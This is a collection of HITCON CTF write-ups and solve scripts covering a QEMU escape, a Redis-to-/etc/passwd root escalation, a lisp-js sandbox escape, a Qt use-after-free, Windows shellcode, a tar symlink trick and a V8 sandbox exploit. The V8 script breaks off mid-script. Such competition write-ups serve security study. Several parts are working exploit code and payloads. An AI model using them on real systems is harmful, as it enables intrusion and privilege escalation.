maria->state.off; 41 | break; 42 | default: 43 | val = 0xDEADC0DE; 44 | break; 45 | } 46 | return val; 47 | } 48 | 49 | static void maria_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned size) { 50 | MariaState *maria = (MariaState *)opaque; 51 | switch (addr) { 52 | case 0x00: 53 | // read 54 | cpu_physical_memory_rw(maria->state.src, &maria->buff[maria->state.off], BUFF_SIZE, 0); 55 | break; 56 | case 0x04: 57 | maria->state.src = val; 58 | break; 59 | case 0x08: 60 | maria->state.off = val; 61 | break; 62 | default: 63 | break; 64 | } 65 | } 66 | ``` 67 | 68 | ## Bug 69 | 70 | When reading to/writing from the buffer, the device always copies `BUFF_SIZE` 71 | bytes. When the `off` field is greater than zero, this will read/write out of 72 | the bounds of the buffer. 73 | 74 | 75 | ## Exploit 76 | 77 | The bug allows us to read/write out of bounds of `buff` into `mmio`, which is 78 | `MemoryRegion` object. This object contains both self-pointers and function 79 | pointers for us to target (in particular, it contains the function pointers 80 | that register `maria_mmio_read` and `maria_mmio_write` as read and write 81 | handlers for this memory region): 82 | 83 | ``` 84 | struct MemoryRegion { 85 | ... 86 | const MemoryRegionOps *ops; // address of ops table in the binary 87 | void *opaque; // `MariaState` pointer, used as the first argument to ops. 88 | ... 89 | }; 90 | ``` 91 | 92 | The exploit uses the OOB read to leak `ops` and `opaque`, which, gives us the 93 | binary address and also the address of `MariaState` (along with its 94 | `MemoryRegion`). 95 | 96 | It then uses the write to overwrite `ops` with a fake ops table whose write 97 | handler points to this stack pivot gadget from the binary: 98 | ``` 99 | 0x00000000007bce54 : push rax ; pop rsp ; nop ; pop rbp ; ret 100 | ``` 101 | This moves the stack to `rax`, which is equal to the `opaque` (aka the pointer 102 | to our `MariaState`) when the gadget is called. From here, the exploit ROPs to 103 | mprotect to gain code execution. 104 | 105 | [qemu_escape.cc](qemu_escape.cc) 106 | 107 | -------------------------------------------------------------------------------- /hitcon2023/full_chain_wall_umi/README.md: -------------------------------------------------------------------------------- 1 | # Full Chain - Wall Rose 2 | 3 | ## Overview 4 | 5 | Chaining all of our exploits from Sina (userspace pwnable), Rose (kernel 6 | pwnable), and Maria (qemu PCI driver) together, we now able to get code 7 | execution in a qemu process running as an unprivileged user inside of a 8 | Docker container. However, the qemu process has a seccomp sandbox, so we 9 | do not immediately get a full shell. 10 | 11 | The goal is not only to get a shell, but to get a root shell within the 12 | Docker container. 13 | 14 | ## System reconnaissance 15 | 16 | Initially, we used the C&C shellcode and client from the Blade challenge 17 | to inspect the machine. Unlike in the previous challenges, this 18 | challenge brings up a long-running Docker container that can serve 19 | multiple connections via xinetd. Since the xinetd handler script is 20 | writable by the qemu user, we overwrote it to start a shell instead of 21 | qemu, giving us a non-seccomp-sandboxed shell. 22 | 23 | Inspecting the system, we notice: 24 | - An apache2 server running with mod\_php configured. 25 | - A Redis server running as root. 26 | 27 | We did not notice there were custom sudo rules configured. Luckily, this 28 | challenge ended up being solvable with the Redis server alone. 29 | 30 | ## Exploit 31 | 32 | The Redis server supports modifying its configuration live. Since the 33 | server is running as root, we reconfigured it to flush its data into 34 | /etc/passwd. Parsing of /etc/passwd is extremely lax - as long as we get 35 | one clean password-less entry for root, it doesn't matter if it is 36 | surrounded by binary garbage. 37 | 38 | Our exploit sent these commands to the Redis server: 39 | ``` 40 | set x "\nroot::0:0:root:/root:/bin/bash\n" 41 | config set rdbcompression no 42 | config set dir /etc 43 | config set dbfilename passwd 44 | save 45 | ``` 46 | 47 | This inserts a passwordless entry for root to /etc/passwd. Running `su` 48 | then gives us a root shell. 49 | -------------------------------------------------------------------------------- /hitcon2023/misc_lisp_js/README.md: -------------------------------------------------------------------------------- 1 | # Misc - lisp-js 2 | 3 | ## Overview 4 | 5 | The challenge implements a lisp-like language interpreter using JavaScript. 6 | 7 | ## Bug 8 | 9 | By accessing some builtin properties in JS, attacker can traverse stacktrace using `Function.prototype.caller` to get objects outside the interpreter e.g., node.js `require` that has `.cache` property that contains other loaded modules inside. 10 | But still, we couldn't run JS e.g., using `Function("code")` since dynamic code generation was disabled. 11 | Also, calling javascript function from interpreter was difficult because the arguments passed to specified functions are not fully controlled. 12 | Fortunately, there was `ExtendedScope` given by author, which has interpreter functions inside that wraps arbitrary JavaScript function to interpreter-compatible function. 13 | 14 | ## Exploit 15 | 16 | ```lisp 17 | (do 18 | (let caller (. do "caller")) 19 | (let caller (. caller "caller")) 20 | (let caller (. caller "caller")) 21 | (let require (. (. caller "arguments") 1)) 22 | (let module (. (. caller "arguments") 2)) 23 | (let runtime (. (. module "children") 0)) 24 | (let runtimeExports (. runtime "exports")) 25 | (let extendedScope ((. runtimeExports "extendedScope"))) 26 | (let j2l (. (. extendedScope "table") "j2l")) 27 | ((j2l (. ((j2l require) "child_process") "execSync")) "./readflag" (object (list "encoding" "utf-8"))) 28 | ) 29 | ``` -------------------------------------------------------------------------------- /hitcon2023/pwn_qqq/README.md: -------------------------------------------------------------------------------- 1 | # Pwn - qqq 2 | 3 | ## Overview 4 | 5 | This challenge is a pwnable challenge based on Qt on Windows. 6 | Three files were given: the challenge (exe file), kernel32.dll and ntdll.dll. 7 | 8 | There are two types of objects: "script" and "testcase"; script is a named JavaScript snippet that is ran by QJSEngine, 9 | and "testcase" is connected to a script with additional parameters like timeout. 10 | 11 | Users can create a script, testcase and run a testcase to get how long it took. 12 | To collect timeout, the program runs the following script around our script. 13 | 14 | ```js 15 | // Timer is a Qt-native script bound to a C++ object named QQTimer. 16 | var x = Timer.elapsed() 17 | 18 | // our script here 19 | 20 | // Set jsTime field of QQTimer object using a C++ method; this is connected via Qt metacall system 21 | Timer.setJsTime(x - Timer.elapsed()) 22 | ``` 23 | 24 | ## Bug 25 | 26 | The bug is that the timer (QQTimer) is only created once, and bound to the QJSEngine without increasing reference count. 27 | The js engine is bound to each testcase, so if a testcase is deleted, the global QQTimer object is also destroyed, while other testcase can point to the timer. 28 | This leads to use-after-free. 29 | 30 | Also, the testcase, QQTestcase has the same heap size, so the attacker can make it a type confusion primitive since the freelist is shared between them. 31 | There is an useful field at offset 0x10: timeout (QQTimer) and timer (QQThread). Since timeout is at timer->timeout and user can get/set them, we can convert 32 | UAF into arbitrary read/write primitive. Using this primitive, we could leak the address of dlls (ntdll, kernel32) and modify `__vftable` pointer of QQTimer/QQTestcase. 33 | 34 | Since the program is inside AppJailLauncher, we chose to run a shellcode that reads flag.txt instead of executing process. To acheive this, 35 | we used a gadget that sets stack pointer and PC, inside `longjmp` of ntdll. Using this, we could do ROP to call VirtualProtect and jump to the shellcode. 36 | 37 | ## Exploit 38 | 39 | See [qqq.py](./qqq.py). -------------------------------------------------------------------------------- /hitcon2023/pwn_qqq/a.s: -------------------------------------------------------------------------------- 1 | // from https://github.com/niklasb/35c3ctf-challs/blob/master/pwndb/exploit/stage2.py 2 | .intel_syntax noprefix 3 | api_call: 4 | push r9 5 | push r8 6 | push rdx 7 | push rcx 8 | push rsi 9 | xor rdx, rdx 10 | mov rdx, gs:[rdx+0x30] 11 | mov rdx, [rdx+0x60] 12 | 13 | mov rdx, [rdx+24] 14 | mov rdx, [rdx+32] 15 | 16 | next_mod: 17 | mov rsi, [rdx+80] 18 | movzx rcx, word ptr [rdx+74] 19 | 20 | xor r9, r9 21 | loop_modname: 22 | xor rax, rax 23 | lodsb 24 | cmp al, 'a' 25 | jl not_lowercase 26 | sub al, 0x20 27 | not_lowercase: 28 | 29 | ror r9, 13 30 | add r9, rax 31 | loop loop_modname 32 | 33 | push rdx 34 | push r9 35 | 36 | 37 | mov rdx, [rdx+32] 38 | mov eax, dword ptr [rdx+60] 39 | add rax, rdx 40 | cmp word ptr [rax+24], 0x020B 41 | 42 | 43 | 44 | jne get_next_mod1 45 | mov eax, dword ptr [rax+136] 46 | test rax, rax 47 | jz get_next_mod1 48 | add rax, rdx 49 | push rax 50 | mov ecx, dword ptr [rax+24] 51 | mov r8d, dword ptr [rax+32] 52 | add r8, rdx 53 | 54 | get_next_func: 55 | jrcxz get_next_mod 56 | dec rcx 57 | mov esi, dword ptr [r8+rcx*4] 58 | add rsi, rdx 59 | xor r9, r9 60 | 61 | loop_funcname: 62 | xor rax, rax 63 | lodsb 64 | ror r9, 13 65 | add r9, rax 66 | cmp al, ah 67 | jne loop_funcname 68 | 69 | add r9, [rsp+8] 70 | cmp r9, r10 71 | jnz get_next_func 72 | 73 | 74 | pop rax 75 | mov r8d, dword ptr [rax+36] 76 | add r8, rdx 77 | mov cx, [r8+2*rcx] 78 | mov r8d, dword ptr [rax+28] 79 | add r8, rdx 80 | mov eax, dword ptr [r8+4*rcx] 81 | add rax, rdx 82 | 83 | finish: 84 | pop r8 85 | pop r8 86 | pop rsi 87 | pop rcx 88 | pop rdx 89 | pop r8 90 | pop r9 91 | pop r10 92 | sub rsp, 32 93 | 94 | push r10 95 | jmp rax 96 | 97 | get_next_mod: 98 | pop rax 99 | get_next_mod1: 100 | pop r9 101 | pop rdx 102 | mov rdx, [rdx] 103 | jmp next_mod 104 | 105 | -------------------------------------------------------------------------------- /hitcon2023/rev_crazyarcade/README.md: -------------------------------------------------------------------------------- 1 | # CrazyArcade 2 | 3 | The program is a modification of https://github.com/tuanngokien/Crazy-Arcade, but it uses a driver 4 | to read and write memory in the driver via `DeviceIoControl`. 5 | 6 | Xrefing `DeviceIoControl` shows us that the program is doing the following to decode the flag: 7 | ``` 8 | read ioctl handler bytes into handler_bytes 9 | 10 | write magic 0x25 bytes into driver+0x3000 11 | 12 | for i in range(0x1337): 13 | (driver+0x3000)[i%0x25] ^= (i&0xff) ^ handler_bytes[i%0x584] 14 | ``` 15 | 16 | Solve script in [`solve.py`](solve.py). 17 | -------------------------------------------------------------------------------- /hitcon2023/rev_crazyarcade/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | key = b'' 4 | 5 | s = ''' 6 | *(_DWORD *)v27 = 0x7F198AB7; 7 | *(_DWORD *)&v27[4] = 0xF0812D54; 8 | *(_DWORD *)&v27[8] = 0xC9CADDB8; 9 | *(_DWORD *)&v27[12] = 0x3223C3D3; 10 | *(_DWORD *)&v27[16] = 0xAB8141BA; 11 | *(_DWORD *)&v27[20] = 0x2EC95302; 12 | *(_DWORD *)&v27[24] = 0xAD207ED6; 13 | *(_DWORD *)&v27[28] = 0xD295EDAB; 14 | *(_DWORD *)&v27[32] = 0x922AE7B6; 15 | ''' 16 | 17 | for i in s.strip().splitlines(): 18 | key += p32(int(i.split(' = ')[1].rstrip(';'), 0)) 19 | 20 | key += b'>' 21 | key = bytearray(key) 22 | 23 | handler = open('CrazyArcade.sys','rb').read()[0x850:][:0x584] 24 | 25 | for i in range(0x1337): 26 | key[i%0x25] ^= (i&0xff) ^ handler[i%0x584] 27 | 28 | print(key) 29 | -------------------------------------------------------------------------------- /hitcon2023/rev_less_equal_more/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "soln" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | itertools = "0.11.0" 10 | -------------------------------------------------------------------------------- /hitcon2023/rev_less_equal_more/src/main.rs: -------------------------------------------------------------------------------- 1 | 2 | use std::fmt; 3 | use std::io::{BufReader, BufRead}; 4 | use std::fs::File; 5 | use std::collections::{HashMap, HashSet, VecDeque}; 6 | 7 | mod disass; 8 | use disass::*; 9 | 10 | mod lifter; 11 | use lifter::{Lifter, LiftedOpcode}; 12 | 13 | fn main() { 14 | let file = File::open("../chal.txt").expect("file wasn't found."); 15 | let reader = BufReader::new(file); 16 | 17 | let mut mem: Vec = reader 18 | .lines() 19 | .filter_map(|line| { 20 | line.map(|x| x.split(" ").filter_map(|x| x.parse::().map(|y| y as u64).ok()).collect::>()).ok() 21 | }) 22 | .flatten() 23 | .collect(); 24 | 25 | let mut d = Disassembler { mem: &mut mem, pc: 0 }; 26 | 27 | let mut blocks: HashMap> = HashMap::new(); 28 | let mut worklist = VecDeque::new(); 29 | worklist.push_back(0); 30 | 31 | let mut stats: HashMap<&'static str, usize> = HashMap::new(); 32 | let mut funcs: HashSet = HashSet::new(); 33 | 34 | let mut count = 0; 35 | while worklist.len() > 0 { 36 | d.pc = worklist.pop_front().unwrap(); 37 | if blocks.contains_key(&d.pc) { 38 | continue; 39 | } 40 | let orig_pc = d.pc; 41 | let (anno_ops, mut succs) = d.disassemble_and_propagate(); 42 | 43 | blocks.entry(orig_pc).or_insert(anno_ops.clone()); 44 | 45 | let mut l = Lifter::new(&anno_ops, &mut stats); 46 | l.lift(); 47 | for a in l.instruction_stream { 48 | match a.opc { 49 | LiftedOpcode::VtableJmp(table_addr, _) => { 50 | succs.append(&mut a.opc.vtable_targets(&d.mem, true, true)); 51 | funcs.extend(a.opc.vtable_targets(&d.mem, false, false).iter()); 52 | }, 53 | _ => {} 54 | } 55 | } 56 | 57 | 58 | for s in succs { 59 | worklist.push_back(s); 60 | } 61 | count += 1; 62 | } 63 | 64 | let mut ordered_blocks = blocks.keys().cloned().collect::>(); 65 | ordered_blocks.sort(); 66 | 67 | let mut seen_insns: HashSet = HashSet::new(); 68 | let mut complete_instruction_stream = vec![]; 69 | for start_pc in ordered_blocks { 70 | if seen_insns.contains(&start_pc) { 71 | continue; 72 | } 73 | let v = blocks.get(&start_pc).unwrap(); 74 | let mut l = Lifter::new(&v, &mut stats); 75 | l.lift(); 76 | for a in l.instruction_stream { 77 | seen_insns.insert(a.pc); 78 | complete_instruction_stream.push(a); 79 | } 80 | } 81 | 82 | // cross-block lifts 83 | let mut l = Lifter::new_for_cross_block_lifts(complete_instruction_stream, &mut stats); 84 | l.cross_block_lifts(); 85 | 86 | for insn in l.instruction_stream { 87 | if funcs.contains(&insn.pc) { 88 | println!(""); 89 | println!("func_{:#x}:", insn.pc); 90 | } else if blocks.contains_key(&insn.pc) { 91 | println!("block_{:#x}:", insn.pc); 92 | } 93 | print!(" {:?}", insn); 94 | if let Some(s) = insn.opc.comment(&d.mem) { 95 | print!("{}", s); 96 | } 97 | println!(""); 98 | if matches!(insn.opc, LiftedOpcode::VtableJmp(_, _) | LiftedOpcode::Call(_, _)) { 99 | for target in insn.opc.vtable_targets(&d.mem, false, true) { 100 | println!(" - target block_{:#x}", target); 101 | } 102 | } 103 | } 104 | 105 | for (pass, count) in stats.iter() { 106 | println!("{}: {} replacements", pass, count); 107 | } 108 | } -------------------------------------------------------------------------------- /hitcon2024/README.md: -------------------------------------------------------------------------------- 1 | Writeups for [HITCON 2024 Quals](https://ctf2024.hitcon.org/dashboard/). 2 | -------------------------------------------------------------------------------- /hitcon2024/crypto_brokenshare/solve.py: -------------------------------------------------------------------------------- 1 | from sage.all import * 2 | from Crypto.Cipher import AES 3 | from hashlib import sha256 4 | import numpy as np 5 | 6 | shares = [(18565, 15475), (4050, 20443), (7053, 28908), (46320, 10236), (12604, 25691), (34890, 55908), (20396, 47463), (16840, 10456), (29951, 4074), (43326, 55872), (15136, 21784), (42111, 55432), (32311, 30534), (28577, 18600), (35425, 34192), (38838, 6433), (40776, 31807), (29826, 36077), (39458, 24811), (32328, 28111), (38079, 11245), (36995, 27991), (26261, 59236), (42176, 20756), (11071, 50313), (31327, 7724), (14212, 45911), (22884, 22299), (18878, 50951), (23510, 24001), (61462, 57669), (46222, 34450), (29, 5836), (50316, 15548), (24558, 15321), (9571, 19074), (11188, 44856), (36698, 40296), (6125, 33078), (42862, 49258), (22439, 56745), (37914, 56174), (53950, 16717), (17342, 59992), (48528, 39826), (59647, 57687), (30823, 36629), (65052, 7106)] 7 | ct = b'\xa4\x17#U\x9d[2Sg\xb9\x99B\xe8p\x8b\x0b\x14\xf0\x04\xde\x88\xb9\xf6\xceM/\xea\xbf\x15\x99\xd7\xaf\x8c\xa1t\xa4%~c%\xd2\x1dNl\xbaF\x92\xae(\xca\xf8$+\xebd;^\xb8\xb3`\xf0\xed\x8a\x9do' 8 | 9 | p = 65537 10 | n = 48 11 | t = 24 12 | 13 | # (c0,c1,c2,...,k0,k1,k2,...,z) 14 | mat = [] 15 | for i, (x, y) in enumerate(shares[:n]): 16 | cs = [x**j * (2**64-1) for j in range(t)] 17 | ks = [0] * n; ks[i] = p*2**64 18 | mat.append(cs + ks + [-y*2**64]) 19 | for i in range(t): 20 | cs = [0] * (t + n + 1) 21 | cs[i] = 1 22 | mat.append(cs) 23 | for i in range(n): 24 | ks = [0] * (t + n + 1) 25 | ks[t + i] = 1 26 | mat.append(ks) 27 | mat.append([0] * (t + n) + [1]) 28 | 29 | mat = matrix(mat).transpose() 30 | W = diagonal_matrix([2**512] * n + [2**550] * t + [1] * n + [2**1024]) 31 | 32 | L = (mat * W).LLL() / W 33 | for row in L: 34 | if all(-2**64 <= x <= 2**64 for x in row[:n]) and row[-1] == 1: 35 | print(row[n:]) 36 | poly = [x % p for x in row[n:n+t]] 37 | 38 | poly = np.array(poly[::-1]) 39 | f = lambda x: int(np.polyval(poly, x) % p) 40 | 41 | ks = [f(x) for x in range(t)] 42 | key = sha256(repr(ks).encode()).digest() 43 | cipher = AES.new(key, AES.MODE_CTR, nonce=ct[:8]) 44 | print(cipher.decrypt(ct[8:])) 45 | -------------------------------------------------------------------------------- /hitcon2024/crypto_zkpof/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import remote, context 2 | import random 3 | 4 | # context.log_level = "debug" 5 | 6 | #s = remote("jammy", 11111) 7 | s = remote("zkpof.chal.hitconctf.com", 11111) 8 | 9 | s.recvuntil(b"n = ") 10 | n = int(s.recvline()) 11 | 12 | rand = random.Random(1337) 13 | 14 | limit = 10**4300 15 | A = 2**1000 16 | 17 | # 2^511 <= p, q < 2^512 18 | lo = 1 << 512 19 | hi = 1 << 514 20 | for i in range(0x137): 21 | z = rand.randrange(2, n) 22 | 23 | mid = (lo + hi) // 2 24 | s.recvuntil(b"e = ") 25 | s.sendline(str(-limit // mid).encode()) 26 | s.recvuntil(b"Error: ") 27 | err = s.recvline().strip() 28 | print(i, err) 29 | if err == b"": 30 | hi = mid 31 | else: 32 | lo = mid + 1 33 | 34 | print(lo) 35 | print(hi) 36 | import subprocess 37 | p = int(subprocess.check_output(["sage", "solve_pq.sage", str(lo), str(hi), str(n)])) 38 | print(p) 39 | assert n % p == 0 40 | q = n // p 41 | 42 | phi = (p - 1) * (q - 1) 43 | for i in range(13): 44 | z = rand.randrange(2, n) 45 | 46 | r = random.randrange(A) 47 | s.recvuntil(b"x = ") 48 | s.sendline(str(pow(z, r, n)).encode()) 49 | s.recvuntil(b"e = ") 50 | e = int(s.recvline()) 51 | s.recvuntil(b"y = ") 52 | s.sendline(str(r + (n - phi) * e).encode()) 53 | 54 | s.interactive() 55 | 56 | # hitcon{the_error_is_leaking_some_knowledge} 57 | -------------------------------------------------------------------------------- /hitcon2024/crypto_zkpof/solve_pq.sage: -------------------------------------------------------------------------------- 1 | import sys 2 | from math import isqrt 3 | 4 | left, right, n = map(int, sys.argv[1:]) 5 | 6 | m = left // 2; 7 | pleft = m + isqrt(m * m - n) 8 | m = right // 2; 9 | pright = m + isqrt(m * m - n) 10 | 11 | P. = PolynomialRing(Zmod(n)) 12 | soln = (pleft + x).small_roots(X=pright - pleft, beta=0.50) 13 | print(pleft + soln[0]) 14 | -------------------------------------------------------------------------------- /hitcon2024/crypto_zkpof/src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.12-alpine as base 2 | 3 | WORKDIR /app 4 | RUN pip install pycryptodome 5 | COPY server.py run 6 | 7 | FROM pwn.red/jail 8 | COPY --from=base / /srv 9 | ENV JAIL_TIME=60 JAIL_MEM=10M JAIL_CPU=1000 10 | -------------------------------------------------------------------------------- /hitcon2024/crypto_zkpof/src/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | chall: 3 | build: . 4 | image: zkpof 5 | privileged: true 6 | ports: 7 | - "11111:5000" 8 | environment: 9 | - JAIL_ENV_FLAG=flag{fake_flag} 10 | -------------------------------------------------------------------------------- /hitcon2024/crypto_zkpof/src/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from Crypto.Util.number import getPrime, getRandomRange 3 | from math import floor 4 | import json, random, os 5 | 6 | # https://www.di.ens.fr/~stern/data/St84.pdf 7 | A = 2**1000 8 | B = 2**80 9 | 10 | 11 | def keygen(): 12 | p = getPrime(512) 13 | q = getPrime(512) 14 | n = p * q 15 | phi = (p - 1) * (q - 1) 16 | return n, phi 17 | 18 | 19 | def zkpof(z, n, phi): 20 | # I act as the prover 21 | r = getRandomRange(0, A) 22 | x = pow(z, r, n) 23 | e = int(input("e = ")) 24 | if e >= B: 25 | raise ValueError("e too large") 26 | y = r + (n - phi) * e 27 | transcript = {"x": x, "e": e, "y": y} 28 | return json.dumps(transcript) 29 | 30 | 31 | def zkpof_reverse(z, n): 32 | # You act as the prover 33 | x = int(input("x = ")) 34 | e = getRandomRange(0, B) 35 | print(f"{e = }") 36 | y = int(input("y = ")) 37 | transcript = {"x": x, "e": e, "y": y} 38 | return json.dumps(transcript) 39 | 40 | 41 | def zkpof_verify(z, t, n): 42 | transcript = json.loads(t) 43 | x, e, y = [transcript[k] for k in ("x", "e", "y")] 44 | return 0 <= y < A and pow(z, y - n * e, n) == x 45 | 46 | 47 | if __name__ == "__main__": 48 | n, phi = keygen() 49 | print(f"{n = }") 50 | 51 | rand = random.Random(1337) # public, fixed generator for z 52 | for _ in range(0x137): 53 | try: 54 | z = rand.randrange(2, n) 55 | t = zkpof(z, n, phi) 56 | assert zkpof_verify(z, t, n) 57 | print(t) 58 | if input("Still not convined? [y/n] ").lower()[0] != "y": 59 | break 60 | except Exception as e: 61 | print(f"Error: {e}") 62 | print( 63 | "You should now be convinced that I know the factorization of n without revealing anything about it. Right?" 64 | ) 65 | for _ in range(floor(13.37)): 66 | z = rand.randrange(2, n) 67 | t = zkpof_reverse(z, n) 68 | assert zkpof_verify(z, t, n) 69 | print(t) 70 | print(os.environ.get("FLAG", "flag{test}")) 71 | -------------------------------------------------------------------------------- /hitcon2024/misc_flag_reader/solve.py: -------------------------------------------------------------------------------- 1 | from base64 import b64encode 2 | from io import BytesIO 3 | from pwn import * 4 | import os 5 | import tarfile 6 | 7 | def break_tar(): 8 | with open('exploit.tar', 'rb') as f: 9 | tardata = bytearray(f.read()) 10 | pos = 0 11 | for _ in range(4): 12 | pos = tardata.find(b'0000000\x00', pos + 1) 13 | tardata[pos:pos+8] = b'\x81aA-'+b'\x00'*4 14 | with open('exploit.tar', 'wb') as f: 15 | f.write(tardata) 16 | 17 | with tarfile.open('exploit.tar', 'w') as tar: 18 | for name, data in ('foo', b'123'), ('bar', b'456'): 19 | ti = tarfile.TarInfo() 20 | ti.size = 3 21 | ti.name = name 22 | tar.addfile(ti, BytesIO(data)) 23 | 24 | os.symlink('/flag.txt', 'flag.txt') 25 | tar.add('flag.txt') 26 | os.remove('flag.txt') 27 | 28 | break_tar() 29 | 30 | with tarfile.open('exploit.tar', 'r:') as tar: 31 | for member in tar.getmembers(): 32 | print(member.name, member.isfile()) 33 | 34 | with open('exploit.tar', 'rb') as f: 35 | tardata = f.read() 36 | 37 | # io = remote('0.0.0.0', 22222) 38 | io = remote('flagreader.chal.hitconctf.com', 22222) 39 | io.sendlineafter(b'Enter a base64 encoded tar: ', b64encode(tardata)) 40 | io.interactive() -------------------------------------------------------------------------------- /hitcon2024/pwn_v8sbx/README.md: -------------------------------------------------------------------------------- 1 | # v8sbx 2 | When I looked at it, the revenge challenge was already released, so there was probably a cheese solutions. 3 | A quick diff revealed the following: 4 | ```bash 5 | diff -qr v8sbx v8sbxrev 6 | Files v8sbx/docker-compose.yml and v8sbxrev/docker-compose.yml differ 7 | Files v8sbx/Dockerfile and v8sbxrev/Dockerfile differ 8 | Only in v8sbxrev: flag 9 | Only in v8sbxrev: readflag 10 | Only in v8sbx/share: flag 11 | ``` 12 | A readflag binary was added. So I immediately assumed that you can just include the flag file in JavaScript. 13 | The final payload was: `import("/home/ctf/flag")` 14 | -------------------------------------------------------------------------------- /hitcon2024/pwn_v8sbx_revenge/README.md: -------------------------------------------------------------------------------- 1 | # V8 SBX Revenge 2 | 3 | ``` 4 | nc v8sbx.chal.hitconctf.com 1338 5 | 6 | https://storage.googleapis.com/hitcon-ctf-2024-qual-attachment/v8sbx_revenge/v8sbx_revenge-772b4668c5867082df541cfcecaa0f81caaf36e8.tar.gz 7 | 8 | Author: ljp_tw 9 | 13 Teams solved. 10 | ``` 11 | 12 | 13 | ## Analysis 14 | 15 | We're given a `v8.patch` that adds: 16 | - `Sandbox.modifyTrustedPointerTable(handle, pointer, tag)` that writes any desired value into the trusted pointer table that can be used only once* 17 | - *The function does a check `times` -> params `ToInteger()` -> increment `times` so the check is broken and the primitive can be triggered arbitrarily many times: 18 | ```js 19 | console.log(Sandbox.modifyTrustedPointerTable( 20 | { 21 | [Symbol.toPrimitive]() { 22 | console.log(Sandbox.modifyTrustedPointerTable(0x400000, 1, 2)); 23 | return 0x402000; 24 | } 25 | }, 2, 3 26 | )); 27 | ``` 28 | - `Sandbox.H32BinaryAddress()` that returns the upper dword of the binary address (specifically, `Sandbox.H32BinaryAddress` itself) 29 | 30 | But that being said, we don't even need to look at these patches as all memory corruption APIs are still available. There's a lot of v8 sandbox 0/1-days so we can find and use anything that suits our purposes. 31 | 32 | 33 | ## Exploit 34 | 35 | Base commit is `97d99259d002b24271ca4c3cf2469349e7a5406e` which is several weeks old. There are multiple sandbox-related commits, some even with concrete PoCs obtaining arbitrary writes. 36 | 37 | One example is [`2f16c5f`](https://chromium.googlesource.com/v8/v8.git/+/2f16c5f7b56c40c1faeca4c14e897ac453d6b5ba) - this is caused by corrupting `WasmTableObject.length` to a negative size using in-sandbox primitives, then attempting to set a large index corresponding to a negative value when considered as a signed integer. This passes all initial bounds check, and even passes a `SBXCHECK_LT()` comparison against `WasmDispatchTable::length()` in the trusted region explicitly designed to prevent this as the comparison is signed. 38 | 39 | This allows an out-of-bounds write in the trusted space with a negative index which we can abuse to overwrite other function entries in the `WasmDispatchTable`, leading to function signature confusion and thus arbitrary address read/write (via `i64 -> ref` parameter type confusion) as well as a stable infoleak of the JIT address from the stack (via return count confusion). 40 | 41 | The exploit is now trivial, use the AAR/W and infoleak to obtain RCE. As we do not know whether the challenge server has Intel MPK enabled (which would block naive attempts to overwrite JIT code directly), we simply try overwriting target JIT code to shellcode - the server did not have it enabled, and we pop shell. 42 | 43 | 44 | ## Solution 45 | 46 | Solver script is here: [exp_send.js](./exp_send.js). WASM code is based on [exp.js](./exp.js). 47 | -------------------------------------------------------------------------------- /hitcon2024/pwn_v8sbx_revenge/exp_send.js: -------------------------------------------------------------------------------- 1 | let module = new WebAssembly.Module(new Uint8Array([0,97,115,109,1,0,0,0,1,62,6,80,0,95,1,126,1,96,2,126,100,0,1,126,96,2,126,126,1,126,96,0,0,96,1,127,0,96,0,32,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,126,3,8,7,1,1,2,3,4,5,5,4,31,6,99,2,1,1,1,99,5,1,1,1,99,3,1,1,1,99,3,1,1,1,99,1,1,1,1,99,3,1,1,1,7,107,11,6,119,114,105,116,101,114,0,0,6,114,101,97,100,101,114,0,1,4,98,111,111,109,0,2,3,110,111,112,0,3,3,114,101,99,0,4,10,116,97,98,108,101,95,108,95,108,108,1,0,10,116,97,98,108,101,95,108,88,95,118,1,1,10,116,97,98,108,101,95,108,95,108,115,1,4,9,116,97,98,108,101,95,118,95,118,1,5,4,108,101,97,107,0,5,8,108,101,97,107,95,114,101,99,0,6,12,1,0,10,143,1,7,12,0,32,1,32,0,251,5,0,0,66,0,11,8,0,32,1,251,2,0,0,11,11,0,32,1,32,0,65,0,17,2,0,11,2,0,11,87,0,2,64,32,0,65,1,107,34,0,69,13,0,32,0,16,4,66,239,155,175,205,248,172,209,145,1,66,239,155,175,205,248,172,209,145,17,126,66,239,155,175,205,248,172,209,145,33,126,66,239,155,175,205,248,172,209,145,49,126,66,239,155,175,205,248,172,209,145,193,0,126,66,239,155,175,205,248,172,209,145,209,0,126,26,11,11,7,0,65,0,17,5,1,11,8,0,65,48,16,4,16,5,11,0,56,4,110,97,109,101,1,49,7,0,6,119,114,105,116,101,114,1,6,114,101,97,100,101,114,2,4,98,111,111,109,3,3,110,111,112,4,3,114,101,99,5,4,108,101,97,107,6,8,108,101,97,107,95,114,101,99])); 2 | let instance = new WebAssembly.Instance(module); 3 | let { writer, reader, dummy, boom, nop, rec, leak_rec, table_l_ls, table_v_v } = instance.exports; 4 | 5 | const kHeapObjectTag = 1; 6 | let memory = new DataView(new Sandbox.MemoryView(0, 0x100000000)); 7 | function getPtr(obj) { 8 | return Sandbox.getAddressOf(obj) + kHeapObjectTag; 9 | } 10 | function getField(obj, offset) { 11 | return memory.getUint32(obj + offset - kHeapObjectTag, true); 12 | } 13 | function setField(obj, offset, value) { 14 | memory.setUint32(obj + offset - kHeapObjectTag, value, true); 15 | } 16 | 17 | function unlock_table(table) { 18 | setField(getPtr(table), 0x10, 0xfffffffe); 19 | setField(getPtr(table), 0x14, 0xfffffffe); 20 | } 21 | 22 | unlock_table(table_v_v); 23 | table_v_v.set(0xfffffff9, nop); 24 | 25 | const MASK64 = (1n<<64n)-1n; 26 | leak_rec(); 27 | let leaks = leak_rec(); 28 | for (let i = 0; i < (leaks.length < 0x10 ? leaks.length : 0x10); i++) { 29 | console.log(i, (leaks[i] & MASK64).toString(16)); 30 | } 31 | 32 | unlock_table(table_l_ls); 33 | function read(ptr) { 34 | table_l_ls.set(0xfffffff9, reader); 35 | return boom(ptr - 0x7n, ptr - 0x7n) & MASK64; 36 | } 37 | 